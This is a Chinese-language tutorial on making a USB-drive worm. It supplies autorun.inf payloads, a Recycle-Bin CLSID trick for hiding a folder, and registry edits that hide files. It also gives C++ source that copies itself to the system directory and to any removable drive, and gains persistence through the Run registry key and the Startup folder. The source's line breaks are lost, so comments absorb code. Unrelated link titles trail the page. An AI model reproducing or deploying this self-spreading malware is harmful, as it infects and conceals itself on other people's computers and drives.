U盘病毒制作教程

知识点:

---------------------------------------------------------------
新建文件夹的名字是:
回收站.{645FF040-5081-101B-9F08-00AA002F954E}
这样就可以隐藏里面的文件了,打开此文件夹的时候直接进入回收站
---------------------------------------------------------------
autorun.inf
[AutoRun]
open=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\open=打开(&o)
shell\open\command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\open\Defalut=1
shell\explore=资源管理(&o)
shell\explore\command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe

---------------------------------------------------------------
设置隐藏文件夹的属性不可见的注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
CheckedValue------>1
HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"
Hidden------------>2

ShowSuperHidden--->1

---------------------------------------------------------------

关闭u盘自动播放功能:
1.关闭shell Hardware Detection 服务,并禁用此项服务
2.打开组策略(gpedit.msc)找到“计算机配置”----“管理模板”---“系统”-----“关闭自动播放”,进行设置
3.修改注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=dword:0000000c

// 20130927.cpp : Defines the entry point for the application.
//#include "stdafx.h"
#include <stdio.h>//全局变量好办事
char U_path[]="a:\\回收站.{645FF040-5081-101B-9F08-00AA002F954E}";//默认u盘路径为a//获得正确U盘盘符
char GetUName()
{char i;char u_path[7]="";for (i='a';i<='z';i++){u_path[0]=i;u_path[1]=':';u_path[2]='\\';u_path[3]='\\';u_path[4]='\0';if (GetDriveType(u_path)==DRIVE_REMOVABLE){return i;}}return NULL;
}
bool CheckDisk()
{if (GetUName()!=NULL){U_path[0]=GetUName();return true;}return false;
}//每过5秒扫描一次
void ScanDisk()
{while (!CheckDisk()){Sleep(5000);}
}
//病毒行为!
void VirusAction()
{//////双击U盘运行程序的AutoRun.infchar f_inf_name[]="a:\\AutoRun.inf";f_inf_name[0]=U_path[0];char f_inf_content[]="[AutoRun]\r\nopen=.\\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\\20130927.exe\r\nshell\\open\\Command=.\\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\\20130927.exe\r\nshell\\explore\\Command=.\\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\\20130927.exe";FILE *pf_inf = fopen(f_inf_name,"wb+");if (pf_inf!=NULL){fwrite(f_inf_content,sizeof(char),sizeof(f_inf_content),pf_inf);fclose(pf_inf);}SetFileAttributes(f_inf_name,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);////拷贝到系统目录char path_system[MAX_PATH];GetSystemDirectory(path_system,MAX_PATH);strcat(path_system,"\\20130927.exe");char path_thisEXE[MAX_PATH];GetModuleFileName(NULL,path_thisEXE,MAX_PATH);//If this parameter is TRUE and the new file already exists, the function failsCopyFile(path_thisEXE,path_system,TRUE);//拷贝到U盘CreateDirectory(U_path,NULL);strcat(U_path,"\\20130927.exe");CopyFile(path_thisEXE,U_path,TRUE);////开机启动此程序HKEY h_openkey;DWORD cbData_1=200;RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&h_openkey);RegSetValueEx(h_openkey,"KeyName",0,REG_SZ,(BYTE*)path_system,cbData_1);RegCloseKey(h_openkey);char t_AutoStartPath[MAX_PATH]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动";strcat(t_AutoStartPath,"\\20130927.exe");CopyFile(path_thisEXE,t_AutoStartPath,TRUE);////隐藏程序//设置隐藏文件夹不可见DWORD Data=2;RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",0,KEY_ALL_ACCESS,&h_openkey);RegSetValueEx(h_openkey,"Hidden",0,REG_DWORD,(const BYTE*)(&Data),sizeof(Data));//最后面的那个参数很重要RegCloseKey(h_openkey);////////   此处可写你想做的的“罪恶行为”!//////////执行U盘里那个程序,防止删除if (strcmp(path_thisEXE,U_path)!=0)  //只执行一次{WinExec(U_path,SW_HIDE);}else{while(1)//死循环永远不退出程序{Sleep(50*1000);//降低CPU负载}}}int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCmdLine,int       nCmdShow)
{// TODO: Place code here.//主程序包括两部分:磁盘扫描和病毒感染//磁盘扫描ScanDisk();//扫描不到U盘下个函数就不会执行//病毒感染VirusAction();return 0;
}

Autorun.inf文件内容:

autorun病毒:
Autorun.inf

[AutoRun]
open=notepad.exe
shellexecute=notepad.exe
shell\Auto\command=notepad.exe

[AutoRun]
open=notepad.exe
shell\open=打开(&o)
shell\open\command=notepad.exe
shell\open\Defalut=1
shell\explore=资源管理(&o)
shell\explore\command=notepad.exe

[AutoRun]
open=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\open=打开(&o)
shell\open\command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\open\Defalut=1
shell\explore=资源管理(&o)
shell\explore\command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe

open=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\open\Command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe
shell\explore\Command=.\回收站.{645FF040-5081-101B-9F08-00AA002F954E}\notepad.exe

u盘病毒制作教程和源码相关推荐

  1. Unity 3D游戏-消消乐(三消类)教程和源码

    Unity 消消乐教程和源码 本文提供全流程,中文翻译. Chinar坚持将简单的生活方式,带给世人! (拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) 1 Start Game ...

  2. 微软官方纯净版Win10系统U盘启动制作教程

    微软官方纯净版Win10系统U盘启动制作教程 一.准备工作 二.Win10系统U盘启动制作教程 叮嘟!这里是小啊呜的学习课程资料整理.好记性不如烂笔头,今天也是努力进步的一天.一起加油进阶吧! 一.准 ...

  3. U盘启动制作教程/实例 新手制作启动盘必看! [20081120]

    总结几点优盘量产前的准备工作和注意事项  http://bbs.mydigit.cn/read.php?tid=79204   ------------------------------------ ...

  4. CDlinux U盘启动制作教程

    https://jingyan.baidu.com/article/b24f6c82c1dcd286bee5da65.html CDlinux是破解无线wifi信号的很好用的系统.它就像一个PE,不过 ...

  5. Hello,Expression Blend 4 (含Demo教程和源码)

    前言 这段时间的开发不会用到Blend,到年底才会大量用到,本来打算到时候在写Blend相关的笔记,不过看到一些朋友还比较感兴趣,所以这里提前整理了一下. 首先,我希望你记住下面几点: Blend并不 ...

  6. macOS Big Sur系统安装盘小白制作教程

    macOS Big Sur 11.0正式版下载将于2020年9月正式发布下载,想第一时间体验macOS Big Sur的朋友可以下载安装macOS Big Sur 11.0测试版系统,体验新系统的最新 ...

  7. 电脑系统(U盘安装):装机版U盘启动制作教程(附安装包)

    装机版U盘启动盘工具下载地址: 链接: https://pan.baidu.com/s/1laMdmchT_oXo55nszySQWg 密码:

  8. 分享最新水印小程序搭建教程和源码

    今天教大家搭建一个自己的去水印小程序,支持多个平台,不用自己搭建服务器(当然,你想要更好的体验,还是自己有服务器后台最好).下面开始具体的操作吧. 第一步: 找一套小程序前端 链接:https://p ...

  9. 基于C++的校医院预约管理系统(Visual Studio编写,云盘链接分享PPT和源码)

    记录一下自己大四上C++课程的课设,在Visual Studio上使用C++编写的校医院预约管理系统,本人也是在课程的课时学习之余,把B站黑马程序员的C++视频差不多刷完了才完成的这个课程设计. 而本 ...

最新文章

  1. 开源多年后,Facebook这个调试工具,再登Github热门榜
  2. 数据中心运维里的那些不成文的规定
  3. 通过C#和Xamarin或JavaScript和基于VS的Cordova工具,VS平台上的开发者可以
  4. eclipse php uml,Eclipse UML插件Amateras UML及GEF安装与用法
  5. ASP.NET Core 沉思录 - Logging 的两种介入方法
  6. CSS基础学习 18.CSS多列
  7. Oracle监听器—静态注册
  8. 数学差学计算机和编程难吗,数学很差能学计算机吗
  9. linux规定ip使用网卡,使用TC 对LINUX服务器网卡进行带宽限制的办法
  10. 小熊派鸿蒙开发版,小熊派IoT开发板系列教程合集
  11. Winform程序在VS中打包成安装程序(带卸载)
  12. 21天学通c语言中用的编译器,21天学通C语言
  13. java获取局域网所有ip_java如何获取局域网内全部IP?
  14. 双目测距算法matlab模拟,基于BM算法的双目测距.pdf
  15. 自动售货机软件工程课设_软件工程饮料自动售货机系统-.doc
  16. mac上开发abp-zero(三) —— 代码调试篇
  17. 泰拉瑞亚试图加载不正确的_泰拉瑞亚Switch中文版将在12月19日发售|宝可梦 剑/盾大量细节公布 自动存档可关经验平均分配等...
  18. spring 事务回调
  19. [激光原理与应用-25]:《激光原理与技术》-11- 激光产生技术-非线性技术之激光倍频、非线性晶体CLBO、BBO、LBO
  20. 计算机论文致谢词范文500字,论文致谢词范文500字(精选5篇)

热门文章

  1. x264以及fdk-aac 编译
  2. CAD功能工具全自学教程与经典实例
  3. 世界上第一个会话搜索引擎——Perplexity AI使用测评
  4. 定积分应用解题方法归纳
  5. error while loading shared libraries: libcrypto.so.1.1
  6. 各种编程语言的优缺点
  7. Planet snap shot 澳大利亚珊瑚礁精选照片一览(每一张都可作为壁纸)2022 年 4 月 7 日
  8. 杰里之SD 卡 IO 设置【篇】
  9. Palabos程序代码解读 | particle应用externalFlowAroundObstacle.cpp | 如何绘制流线图
  10. 计算机找不到ipad,ipad连接电脑找不到相册该怎么办?